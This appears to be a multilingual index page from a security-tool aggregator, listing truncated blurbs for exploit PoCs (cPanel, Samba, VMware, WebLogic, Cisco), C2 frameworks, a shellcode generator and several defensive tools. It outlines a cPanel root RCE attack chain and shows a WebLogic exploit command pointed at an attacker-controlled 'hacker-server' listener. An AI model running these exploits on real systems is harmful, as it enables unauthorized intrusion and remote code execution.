CVE-2026-39047

PrintHack - Tool für Drucker-Sicherheitstests root@kitploit: | | | | | | \ | \ | | | | | | | | | | | | | | | | | ⚠️ HAFTUNGSAUSSCHLUSS : Dieses Tool ist ausschließlich für legitime Sicherheitstests und Bildungszwecke bestimmt. Verwenden Sie es verantwortungsvoll und nur auf Systemen, die Ihnen...

bandjacks

Bandjacks Cyber Threat Defense World Modeling System Übersicht Bandjacks ist ein umfassendes Cyber-Bedrohungsinformationssystem CTI, das: MITRE ATT&CK-Techniken aus Bedrohungsberichten in 12-40 Sekunden extrahiert Einen Wissensgraphen von Bedrohungsakteuren, Techniken und Abwehrmaßnahmen erstellt...

CVE_2024_20356

CVE-2024-20356 这是CVE-2024-20356的概念验证代码，该漏洞是Cisco CIMC中的一个命令注入漏洞。 由Aaron编写，由SherllyNeo进行Rust化。 完整技术细节见 https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom 安装 root@kitploit: cargo build --release && cp ./target/release/CVE202420356 /.local/bin/ 用法 root@kitploit...

Absolutely-Positively-NOT-Hacking-Back-with-Pcap

Assolutamente Positivamente NON Hacking Back con Pcap Streaming di Sequenze di Byte di Rete Inaspettate con Alta Probabilità di Blue Screening o Altrimenti Crash dei Nodi Command-and-Control dell'Attaccante Questo è stato presentato a TheSAS2019: https://www.youtube.com/watch?v=Z1-4-amGdaM...

CVE-2026-41940

CVE-2026-41940 — cPanel/WHM 认证绕过 作者: Dr.Anach | 联系方式: @dranach | 许可证: MIT 概述 cpsrvd Basic 认证处理器中的 CRLF 注入 → 未认证的 WHM API 访问 → 以 root 身份远程执行代码。影响所有自 v11.40 以来的 cPanel 版本。 攻击链 | 步骤| 请求 ---|---|--- 1| 创建会话| GET /login/?user=root 2| CRLF 注入| Authorization: Basic — 密码携带 \r\n 载荷 3| 缓存提升| GET...

CVE-2026-23744

CVE-2026-23744 — MCP Connect RCE tramite Iniezione di Comandi Non Autenticata ⚠️ Disclaimer: Questo repository è solo a scopo educativo e di ricerca sulla sicurezza. L'uso di questo exploit contro sistemi senza autorizzazione esplicita è illegale. L'autore non si assume alcuna responsabilità per...

Prismatica

Prismatica In sviluppo Prismatica è un'interfaccia C2 modulare agganciata al Diagon Command and Control Toolkit. Ci sono numerosi strumenti e componenti del Prismatica Marketplace. Tutte le Prism Apps sono costruite attorno all'Emergence Fabric. Per iniziare, parti da Emergence Marketplace delle...

Indushell

Indushell PoC C&C per il malware Industroyer Lavoro originale di: xpn https://github.com/xpn Demo: https://www.youtube.com/watch?v=3bulqYmPTps Articolo del blog: https://www.secarma.co.uk/labs/industroyers-command-and-control-protocol...

shadow-fleet-tracker-light

Shadow Fleet Tracker Light Monitoraggio della flotta ombra del Mar Baltico tramite dati AIS in tempo reale. Osserva oltre 1200 navi dal catalogo War&Sanctions del GUR ucraino confrontandole con il feed WebSocket di AISStream, traccia le posizioni su una mappa auto-aggiornante, segnala la prossimi...

Follina

Follina Notes relatives à CVE-2022-30190 FOLLINA : CVE-2022-30190 1. Utilise l'outil de diagnostic du support Microsoft MSDT 2. Exploite la fenêtre de diagnostic ouverte pour le diagnostic et, lorsqu'il est exécuté correctement, donne un shell inversé à l'attaquant. 3. Github : a...

sigma-ai

AgentShield Sigma-Regeln Was ist dieses Repository? Dieses Repository enthält Erkennungsregeln, die dabei helfen, Angriffe oder Manipulationen an einem KI-Agenten zu identifizieren. Betrachten Sie es als eine Bibliothek von „Bedrohungssignaturen“ – jede Regel beschreibt ein Muster, das, wenn es m...

CVE-2026-4480-PoC

CVE-2026-4480: Samba print-command %J Injection PoC Wichtig — Lesen Sie dies zuerst: Dieses Repository und exploit.py werden nur für Bildungs- und Forschungszwecke bereitgestellt. Verwenden Sie diesen Code nicht gegen Systeme, Netzwerke oder Dienste, für die Sie keine ausdrückliche schriftliche...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

DriverSentinel

🛡️ DriverSentinel 🛡️ Scanner für gefährdete Windows-Treiber DriverSentinel ist ein in Go entwickeltes Sicherheitstool, das bösartige und verwundbare Treiber auf Windows-Systemen erkennt, indem es sie mit der LOLDrivers.io Datenbank vergleicht. Funktionen • Installation • Verwendung • So...

ai-kill-chain

Cyber Kill Chain estesa per le minacce dell'era AI Un aggiornamento alla Cyber Kill Chain di Lockheed Martin per i difensori che operano contro attacchi LLM e AI agentica. Aggiunge una fase pre-attacco per la compromissione della supply chain dei modelli. Aggiunge sotto-tecniche specifiche per l'...

SHGenOb

SHGenOB: Generatore di Shellcode da Codice C PIC Introduzione SHGenOB è uno strumento basato su Python progettato per generare shellcode da codice Position Independent Code PIC scritto in C. Automatizza il processo di compilazione del codice C, estrae la sezione .text e, opzionalmente, cripta lo...

CVE-2024-43425-Poc

CVE-2024-43425-Poc CVE-Übersicht CVE ID: CVE-2024-43425 Beschreibung: Moodle erlaubt es einem authentifizierten Benutzer mit Lehrerrechten, über die Quiz-Editor-Oberfläche eine schädliche berechnete Frage hochzuladen. Auswirkung: Remote Code Execution RCE Ursache: Unzureichende Bereinigung von...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access und Identity Manager RCE über SSTI. CVE-2022-22954 - PoC SSTI Verwendung: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan |...

system_bt_AOSP10_r33_CVE-2020-0380

Fluoride Bluetooth-Stack Erstellen und Ausführen auf AOSP Einfach AOSP bauen - Fluoride ist dort standardmäßig enthalten. Erstellen und Ausführen unter Linux Anweisungen für Ubuntu, getestet mit 14.04 mit Clang 3.5.0 und 16.10 mit Clang 3.8.0 Quelldateien herunterladen root@kitploit: mkdir...

wardn

wardn Um firewall de credenciais para agentes de IA. A alegação principal é estrutural, não política: os agentes recebem tokens de espaço reservado, nunca chaves de API reais. A chave real cruza apenas uma costura de rede — dentro do proxy wardn, a caminho da API upstream — e é removida das...